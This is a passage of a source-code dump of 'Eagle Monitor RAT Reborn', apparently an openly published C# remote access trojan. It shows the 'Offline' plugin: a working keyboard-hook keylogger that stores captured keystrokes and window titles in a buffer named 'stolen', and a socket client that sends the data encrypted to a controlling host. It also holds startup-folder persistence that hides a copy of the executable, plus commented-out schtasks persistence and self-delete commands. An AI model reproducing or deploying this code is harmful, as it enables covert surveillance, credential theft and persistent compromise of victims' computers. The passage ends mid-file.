    "content": "D:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\Miscellaneous.dll\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.csproj.AssemblyReference.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.csproj.CoreCompileInputs.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.csproj.Fody.CopyLocal.cache\nD:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\bin\\Release\\Plugins\\Miscellaneous.dll\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.csproj.AssemblyReference.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.csproj.CoreCompileInputs.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.csproj.Fody.CopyLocal.cache\nE:\\личный\\программирование\\C#\\Eagle Monitor Reborn\\Remote Access Tool\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Miscellaneous.dll\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\source\\repos\\Eagle Monitor RAT Reborn\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.csproj.CopyComplete\nC:\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Miscellaneous.dll\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.csproj.AssemblyReference.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.csproj.CoreCompileInputs.cache\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.csproj.CopyComplete\nC:\\Eagle Monitor RAT Reborn\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Miscellaneous.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.csproj.CopyComplete\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Miscellaneous.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.csproj.CopyComplete\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Miscellaneous.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.csproj.CopyComplete\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Miscellaneous\\obj\\Release\\Miscellaneous.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/obj/Release/Miscellaneous.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/Miscellaneous/obj/Release/_IsIncrementalBuild",
    "content": "obj\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Keylogger/ClientHandler.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Utils;\nusing System;\nusing System.Net.Sockets;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Offline.Keyloggers\n{\n    internal class ClientHandler : IDisposable\n    {\n        public Host host { get; set; }\n        private Socket socket { get; set; }\n        public bool Connected { get; set; }\n        public string HWID { get; set; }\n        public string baseIp { get; set; }\n        public string key { get; set; }\n\n\n        public delegate bool ConnectAsync();\n        private delegate int SendDataAsync(IPacket data);\n\n\n        public ConnectAsync connectAsync;\n        private readonly SendDataAsync sendDataAsync;\n\n\n        public ClientHandler(Host host, string key) : base()\n        {\n            this.host = host;\n            this.key = key;\n            sendDataAsync = new SendDataAsync(SendData);\n        }\n\n\n        public void ConnectStart()\n        {\n            connectAsync = new ConnectAsync(Connect);\n            connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null);\n        }\n\n        private bool Connect()\n        {\n            try\n            {\n                socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n                socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);\n                socket.Connect(host.host, host.port);\n                return true;\n            }\n            catch { }\n            return false;\n        }\n        public void EndConnect(IAsyncResult ar)\n        {\n            Connected = connectAsync.EndInvoke(ar);\n            if (!Connected)\n            {\n                ConnectStart();\n            }\n        }\n\n\n        public void SendPacket(IPacket packet)\n        {\n            if (Connected)\n                sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null);\n        }\n        private int SendData(IPacket data)\n        {\n            try\n            {\n                byte[] encryptedData = data.SerializePacket(this.key);\n                lock (socket)\n                {\n                    int total = 0;\n                    int size = encryptedData.Length;\n                    int datalft = size;\n                    byte[] header = new byte[5];\n                    socket.Poll(-1, SelectMode.SelectWrite);\n\n                    byte[] temp = BitConverter.GetBytes(size);\n\n                    header[0] = temp[0];\n                    header[1] = temp[1];\n                    header[2] = temp[2];\n                    header[3] = temp[3];\n                    header[4] = (byte)data.PacketType;\n\n                    int sent = socket.Send(header);\n\n                    while (total < size)\n                    {\n                        sent = socket.Send(encryptedData, total, size, SocketFlags.None);\n                        total += sent;\n                        datalft -= sent;\n                    }\n                    return total;\n                }\n            }\n            catch (Exception)\n            {\n                Connected = false;\n                return 0;\n            }\n        }\n\n        private void SendDataCompleted(IAsyncResult ar)\n        {\n            int length = sendDataAsync.EndInvoke(ar);\n            this.Dispose();\n        }\n\n        public void Dispose()\n        {\n            socket.Close();\n            socket.Dispose();\n            socket = null;\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Keylogger/Hook.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing System.Text;\nusing System.Threading;\nusing System.Windows.Forms;\nusing static Offline.Keyloggers.Imports;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n|| Inspiration : https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/LimeLogger/LimeLogger/Packet.cs\n*/\n\nnamespace Offline.Keyloggers\n{\n    internal class Hook\n    {\n        internal static StringBuilder stolen;\n\n        static Hook() \n        {\n            stolen = new StringBuilder();   \n        }\n\n        internal static Thread keyboadThread;\n        internal static void AbortHook()\n\t\t{\n\t\t\ttry\n\t\t\t{\n                if (ptrHook != IntPtr.Zero)\n                {\n                    UnhookWindowsHookEx(ptrHook);\n                }\n                keyboadThread.Abort();\n\t\t\t}\n\t\t\tcatch { }\n\t\t}\n        internal static void StartHooking()\n        {\n            keyboadThread = new Thread(KeyboardThread);\n            keyboadThread.Start();\n        }\n\n        private static void HookKeyboard()\n\t\t{\n\t\t\tcallback = new LowLevelKeyboardProc(GetAllKeys);\n\t\t\tptrHook = SetWindowsHookEx(13, callback, System.Diagnostics.Process.GetCurrentProcess().MainModule.BaseAddress, 0);\n\t\t}\n\n\t\tprivate static void KeyboardThread()\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tHookKeyboard();\n\t\t\t\tApplication.Run();\n\t\t\t}\n\t\t\tcatch { }\n\t\t}\n\n        private static string GetActiveWindowTitle()\n        {\n            try\n            {\n                const int nChars = 256;\n                StringBuilder stringBuilder = new StringBuilder(nChars);\n                IntPtr handle = GetForegroundWindow();\n                GetWindowThreadProcessId(handle, out uint pid);\n                if (GetWindowText(handle, stringBuilder, nChars) > 0)\n                {\n                    CurrentActiveWindowTitle = stringBuilder.ToString();\n                    return CurrentActiveWindowTitle;\n                }\n            }\n            catch (Exception)\n            {\n            }\n            return \"???\";\n        }\n\n        private static string KeyboardLayout(uint vkCode)\n        {\n            try\n            {\n                StringBuilder sb = new StringBuilder();\n                byte[] vkBuffer = new byte[256];\n                if (!GetKeyboardState(vkBuffer)) return \"\";\n                uint scanCode = MapVirtualKey(vkCode, 0);\n                IntPtr keyboardLayout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), out uint processId));\n                ToUnicodeEx(vkCode, scanCode, vkBuffer, sb, 5, 0, keyboardLayout);\n                return sb.ToString();\n            }\n            catch { }\n            return ((Keys)vkCode).ToString();\n        }\n\n\n        private static IntPtr GetAllKeys(int nCode, IntPtr wp, IntPtr lp)\n        {\n            try\n            {\n                if (nCode >= 0 && wp == (IntPtr)WM_KEYDOWN)\n                {\n                    int vkCode = Marshal.ReadInt32(lp);\n                    bool capsLockPressed = (GetKeyState(0x14) & 0xffff) != 0;\n                    bool shiftPressed = (GetKeyState(0xA0) & 0x8000) != 0 || (GetKeyState(0xA1) & 0x8000) != 0;\n                    string currentKey = KeyboardLayout((uint)vkCode);\n\n                    if (capsLockPressed || shiftPressed)\n                    {\n                        currentKey = currentKey.ToUpper();\n                    }\n                    else\n                    {\n                        currentKey = currentKey.ToLower();\n                    }\n\n                    if ((Keys)vkCode >= Keys.F1 && (Keys)vkCode <= Keys.F24)\n                        currentKey = \"[\" + (Keys)vkCode + \"]\";\n                    else\n                    {\n                        switch (((Keys)vkCode).ToString())\n                        {\n                            case \"Space\":\n                                currentKey = \" \";\n                                break;\n                            case \"Return\":\n                                currentKey = \"[ENTER]\\n\";\n                                break;\n                            case \"Escape\":\n                                currentKey = \"[ESC]\\n\";\n                                break;\n                            case \"Back\":\n                                currentKey = \"[Back]\";\n                                break;\n                            case \"Tab\":\n                                currentKey = \"[Tab]\\n\";\n                                break;\n                        }\n                    }\n\n                    if (!string.IsNullOrEmpty(currentKey))\n                    {\n                        if (stolen.Length == 0 || CurrentActiveWindowTitle != GetActiveWindowTitle())\n                        {\n                            stolen.Append($\"\\n\\r[{DateTime.Now.ToShortTimeString()}] [{GetActiveWindowTitle()}]\");\n                            stolen.Append($\"\\n{currentKey}\");\n                        }\n                        else\n                        {\n                            stolen.Append(currentKey);\n                        }\n                    }\n                }\n\n                else if (nCode >= 0 && wp == (IntPtr)WM_SYSKEYDOWN)\n                {\n                    int vkCode = Marshal.ReadInt32(lp);\n                    bool altPressed = (GetKeyState(0xA5) & 0x8000) != 0; //only rigth alt //(GetKeyState(0xA4) & 0x8000) != 0 || (GetKeyState(0xA5) & 0x8000) != 0;//(GetKeyState(0x12) & 0xffff) != 0;\n                    string currentKey = KeyboardLayout((uint)vkCode);\n                    if (altPressed)\n                    {\n                        if (!string.IsNullOrEmpty(currentKey))\n                        {\n                            if (stolen.Length == 0 || CurrentActiveWindowTitle != GetActiveWindowTitle())\n                            {\n                                stolen.Append($\"\\n\\r[{DateTime.Now.ToShortTimeString()}] [{GetActiveWindowTitle()}]\");\n                                stolen.Append($\"\\n{currentKey}\");\n                            }\n                            else\n                            {\n                                stolen.Append(currentKey);\n                            }\n                        }\n                    }\n\n                }\n                return CallNextHookEx(ptrHook, nCode, wp, lp);\n            }\n            catch\n            {\n                return IntPtr.Zero;\n            }\n        }\n\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Keylogger/Imports.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\nusing System.Text;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Offline.Keyloggers\n{\n    internal static class Imports\n    {\n        #region\"user32\"\n        private const string user32 = \"user32.dll\";\n\t\tinternal static string CurrentActiveWindowTitle;\n\n\t\tinternal const short WM_KEYDOWN = 0x100;\n\t\tinternal const int WM_SYSKEYDOWN = 0x104;\n\n\t\t[DllImport(user32)]\n\t\tinternal extern static bool UnhookWindowsHookEx(IntPtr hook);\n\n\t\t[DllImport(user32)]\n\t\tinternal static extern IntPtr GetKeyboardLayout(uint idThread);\n\n\t\t[DllImport(user32)]\n\t\tinternal static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);\n\t\t[DllImport(user32)]\n\t\t[return: MarshalAs(UnmanagedType.Bool)]\n\t\tinternal static extern bool GetKeyboardState(byte[] lpKeyState);\n\n\t\t[DllImport(user32)]\n\t\tinternal static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);\n\t\t[DllImport(user32)]\n\t\tinternal static extern uint MapVirtualKey(uint uCode, uint uMapType);\n\n\t\t[DllImport(user32, CharSet = CharSet.Auto, SetLastError = true)]\n\t\tinternal extern static IntPtr SetWindowsHookEx(int id, LowLevelKeyboardProc callback, IntPtr hMod, uint dwThreadId);\n\n\t\t[DllImport(user32)]\n\t\tinternal static extern IntPtr GetForegroundWindow();\n\n\t\t[DllImport(user32)]\n\t\tinternal static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);\n\n\t\t[DllImport(user32)]\n\t\tinternal static extern short GetKeyState(int keyCode);\n\n\t\t[DllImport(user32)]\n\t\tinternal static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);\n\n\t\t[StructLayout(LayoutKind.Sequential)]\n\t\tinternal struct KBDLLHOOKSTRUCT\n\t\t{\n\t\t\tpublic Keys key;\n\t\t\tpublic int scanCode;\n\t\t\tpublic int flags;\n\t\t\tpublic int time;\n\t\t\tpublic IntPtr extra;\n\t\t}\n\n\t\tinternal delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);\n\t\tinternal static IntPtr ptrHook;\n\t\tinternal static LowLevelKeyboardProc callback;\n        #endregion\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Keylogger/Launch.cs",
    "content": "﻿using PacketLib;\nusing PacketLib.Utils;\nusing System.Threading;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Offline.Keyloggers\n{\n    public class Launch\n    {\n        public static void Start()\n        {\n            Hook.StartHooking();\n        }\n\n        public static string CurrentKeyStroke() \n        {\n            return Hook.stolen.ToString();\n        }\n\n        public static void ClearKeyStroke()\n        {\n            Hook.stolen.Clear();\n        }\n\n        public static void StopHook() \n        {\n            Hook.AbortHook();\n        }\n\n        public static void ClientSender(Host host, string key, IPacket packet)\n        {\n            ClientHandler clientHandler = new ClientHandler(host, key);\n            clientHandler.ConnectStart();\n            while (!clientHandler.Connected)\n                Thread.Sleep(125);\n\n            clientHandler.SendPacket(packet);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Offline.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <Import Project=\"$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props\" Condition=\"Exists('$(MSBuildExtensionsPath)\\$(MSBuildToolsVersion)\\Microsoft.Common.props')\" />\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">AnyCPU</Platform>\n    <ProjectGuid>{D317BA4E-5818-4FC4-AA4E-EEA824317759}</ProjectGuid>\n    <OutputType>Library</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>Offline</RootNamespace>\n    <AssemblyName>Offline</AssemblyName>\n    <TargetFrameworkVersion>v4.5</TargetFrameworkVersion>\n    <FileAlignment>512</FileAlignment>\n    <Deterministic>true</Deterministic>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' \">\n    <DebugSymbols>true</DebugSymbols>\n    <DebugType>full</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>bin\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">\n    <DebugType>none</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>..\\..\\bin\\Release\\Stubs\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n    <GenerateSerializationAssemblies>Off</GenerateSerializationAssemblies>\n    <AllowUnsafeBlocks>true</AllowUnsafeBlocks>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"Microsoft.CSharp\" />\n    <Reference Include=\"Microsoft.VisualBasic\" />\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.Windows.Forms\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"Keylogger\\ClientHandler.cs\" />\n    <Compile Include=\"Keylogger\\Hook.cs\" />\n    <Compile Include=\"Keylogger\\Imports.cs\" />\n    <Compile Include=\"Keylogger\\Launch.cs\" />\n    <Compile Include=\"Persistence\\Imports.cs\" />\n    <Compile Include=\"Persistence\\Launch.cs\" />\n    <Compile Include=\"Persistence\\Method.cs\" />\n    <Compile Include=\"Persistence\\Registry.cs\" />\n    <Compile Include=\"Persistence\\SelfDestruct.cs\" />\n    <Compile Include=\"Persistence\\StartupFolder.cs\" />\n    <Compile Include=\"Persistence\\TaskScheduler.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n    <Compile Include=\"Special\\AMSI.cs\" />\n    <Compile Include=\"Special\\AntiDBG.cs\" />\n    <Compile Include=\"Special\\COM.cs\" />\n    <Compile Include=\"Special\\Commons\\Delegates.cs\" />\n    <Compile Include=\"Special\\Commons\\Enums.cs\" />\n    <Compile Include=\"Special\\Commons\\Functions.cs\" />\n    <Compile Include=\"Special\\Commons\\Interfaces.cs\" />\n    <Compile Include=\"Special\\Commons\\Structures.cs\" />\n    <Compile Include=\"Special\\DelegatesHandling.cs\" />\n    <Compile Include=\"Special\\PEB.cs\" />\n    <Compile Include=\"Special\\PEFromPEB.cs\" />\n    <Compile Include=\"Special\\ETW.cs\" />\n    <Compile Include=\"Special\\Parser.cs\" />\n    <Compile Include=\"Special\\Resolver.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <COMReference Include=\"IWshRuntimeLibrary\">\n      <Guid>{F935DC20-1CF0-11D0-ADB9-00C04FD58A0B}</Guid>\n      <VersionMajor>1</VersionMajor>\n      <VersionMinor>0</VersionMinor>\n      <Lcid>0</Lcid>\n      <WrapperTool>tlbimp</WrapperTool>\n      <Isolated>False</Isolated>\n      <EmbedInteropTypes>True</EmbedInteropTypes>\n    </COMReference>\n  </ItemGroup>\n  <ItemGroup>\n    <ProjectReference Include=\"..\\..\\Utils\\PacketLib\\PacketLib.csproj\">\n      <Project>{81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff}</Project>\n      <Name>PacketLib</Name>\n    </ProjectReference>\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n</Project>"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Persistence/Imports.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Offline.Persistence\n{\n    internal class Imports\n    {\n        [DllImport(\"ntdll.dll\")]\n        internal static extern uint NtTerminateProcess(IntPtr hProcess, int erStatus);\n\n        [DllImport(\"kernel32.dll\")]\n        internal static extern bool SetFileAttributes(string lpFileName, FileAttributes dwFileAttributes);\n\n        [Flags]\n        internal enum FileAttributes : uint\n        {\n            Readonly = 0x00000001,\n            Hidden = 0x00000002,\n            System = 0x00000004,\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Persistence/Launch.cs",
    "content": "﻿using System;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Offline.Persistence\n{\n    public static class Launch\n    {\n        internal static string ProgramPath = Application.ExecutablePath;\n        //internal static string ExecName = AppDomain.CurrentDomain.FriendlyName;\n\n        public static void Install(Method method, params string[] settings)\n        {\n            switch (method) \n            {\n                case Method.SHT_STARTUP_FOLDER:\n                    StartupFolder.Install(settings[0], settings[0]);\n                    break;\n\n                default:\n                    return;\n            }\n        }\n\n        public static void Uninstall(Method method, params string[] settings)\n        {\n            switch (method)\n            {\n                case Method.SHT_STARTUP_FOLDER:\n                    StartupFolder.Uninstall(settings[0], settings[0]);\n                    break;\n\n                default:\n                    return;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Persistence/Method.cs",
    "content": "﻿\n\nnamespace Offline.Persistence\n{\n    public enum Method \n    {\n        NONE = -1,\n        SHT_STARTUP_FOLDER = 0,\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Persistence/Registry.cs",
    "content": "﻿namespace Offline.Persistence\n{\n    //TODO\n    internal class Registry\n    {\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Persistence/SelfDestruct.cs",
    "content": "﻿using System.Diagnostics;\nusing System.IO;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Offline.Persistence\n{\n    internal class SelfDestruct\n    {\n        internal static void InitiateSelfDestructSequence()\n        {\n            try\n            {\n                /*Process.Start(\"cmd.exe\", \"/C choice /C Y /N /D Y /T 5 & Del \"\n      + Application.ExecutablePath);*/\n                /*string batch = Path.GetTempFileName() + \".bat\";\n                using (StreamWriter sw = new StreamWriter(batch))\n                {\n                    sw.WriteLine(\"@echo off\");\n                    sw.WriteLine(\"timeout 3 > NUL\");\n                    sw.WriteLine(\"CD \" + Application.StartupPath);\n                    sw.WriteLine(\"DEL \" + \"\\\"\" + Path.GetFileName(Application.ExecutablePath) + \"\\\"\" + \" /f /q\");\n                    sw.WriteLine(\"CD \" + Path.GetTempPath());\n                    sw.WriteLine(\"DEL \" + \"\\\"\" + Path.GetFileName(batch) + \"\\\"\" + \" /f /q\");\n                }\n                Process.Start(new ProcessStartInfo()\n                {\n                    FileName = batch,\n                    CreateNoWindow = true,\n                    ErrorDialog = false,\n                    UseShellExecute = false,\n                    WindowStyle = ProcessWindowStyle.Hidden\n                });*/\n            }\n            catch { }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Persistence/StartupFolder.cs",
    "content": "﻿using IWshRuntimeLibrary;\nusing System;\nusing System.Diagnostics;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Offline.Persistence\n{\n    internal class StartupFolder\n    {\n        private static void CreateShortcut(string shortcutName, string shortcutPath, string targetFileLocation)\n        {\n            string shortcutLocation = System.IO.Path.Combine(shortcutPath, shortcutName + \".lnk\");\n            WshShell shell = new WshShell();\n            IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(shortcutLocation);\n            shortcut.Description = \"Eagle\";   \n            //shortcut.IconLocation = @\"c:\\myicon.ico\";           \n            shortcut.TargetPath = targetFileLocation;                \n            shortcut.Save();                   \n        }\n\n        internal static void Install(string shortCutName, string appName) \n        {\n            string newPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + \"\\\\\" + appName;\n            if (System.IO.File.Exists(newPath))\n                return;\n\n            System.IO.File.WriteAllBytes(newPath, System.IO.File.ReadAllBytes(Application.ExecutablePath));\n            Imports.SetFileAttributes(newPath, Imports.FileAttributes.Hidden | Imports.FileAttributes.System | Imports.FileAttributes.Readonly);\n            CreateShortcut(shortCutName, Environment.GetFolderPath(Environment.SpecialFolder.Startup), newPath);\n        }\n\n        internal static void Uninstall(string shortCutName, string appName)\n        {\n            System.IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + \"\\\\\" + shortCutName +\".lnk\");\n            SelfDestruct.InitiateSelfDestructSequence();//TO CHECK : Currently not working\n            Imports.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0);\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Persistence/TaskScheduler.cs",
    "content": "﻿using Microsoft.VisualBasic;\nusing System;\nusing System.Diagnostics;\nusing System.IO;\n\nnamespace Offline.Persistence\n{\n    //TODO\n    public class TaskScheduler\n    {\n        /*public static void StartUpTaskScheduler(string Time, string TaskName)\n        {\n            try\n            {\n                if (Time == \"\" || Time == \"%1%\" || TaskName == \"\" || TaskName == \"%C%\")\n                    return;\n\n                string newPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + \"\\\\\" + Launch.ExecName;\n\n                if (File.Exists(newPath) == false)\n                {\n                    File.WriteAllBytes(newPath, File.ReadAllBytes(Launch.ProgramPath));\n                    Imports.SetFileAttributes(newPath, Imports.FileAttributes.Hidden | Imports.FileAttributes.System | Imports.FileAttributes.Readonly);\n                }\n                string ShellCMD = \"schtasks /create /sc minute /mo 1 /tn \\\"||\\\" /tr \\\"\" + newPath + \"\\\"\";\n                Interaction.Shell(ShellCMD.Replace(\"||\", TaskName).Replace(\"1\", Time), AppWinStyle.Hide, false, -1);\n            }\n            catch { }\n        }\n\n        public static void RemoveTaskScheduler(string TaskName)\n        {\n            try\n            {\n                string newPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + \"\\\\\" + Launch.ExecName;\n                try\n                { File.Delete(newPath); }\n                catch { }\n                string ShellCMD = \"schtasks /delete /tn \" + TaskName + \" /f\";\n                Interaction.Shell(ShellCMD, AppWinStyle.Hide, false, -1);\n                //InitiateSelfDestructSequence();\n                Imports.NtTerminateProcess(Process.GetCurrentProcess().Handle, 0);\n            }\n            catch { } //(Exception ex) { MessageBox.Show(ex.ToString()); }\n        }*/\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Offline/Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// Les informations générales relatives à un assembly dépendent de\n// l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations\n// associées à un assembly.\n[assembly: AssemblyTitle(\"Offline\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"Offline\")]\n[assembly: AssemblyCopyright(\"Arsium ©  2022\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly\n// aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de\n// COM, affectez la valeur true à l'attribut ComVisible sur ce type.\n[assembly: ComVisible(false)]\n\n// Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM\n[assembly: Guid(\"d317ba4e-5818-4fc4-aa4e-eea824317759\")]\n\n// Les informations de version pour un assembly se composent des quatre valeurs suivantes :\n//\n//      Version principale\n//      Version secondaire\n//      Numéro de build\n//      Révision\n//\n// Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut\n// en utilisant 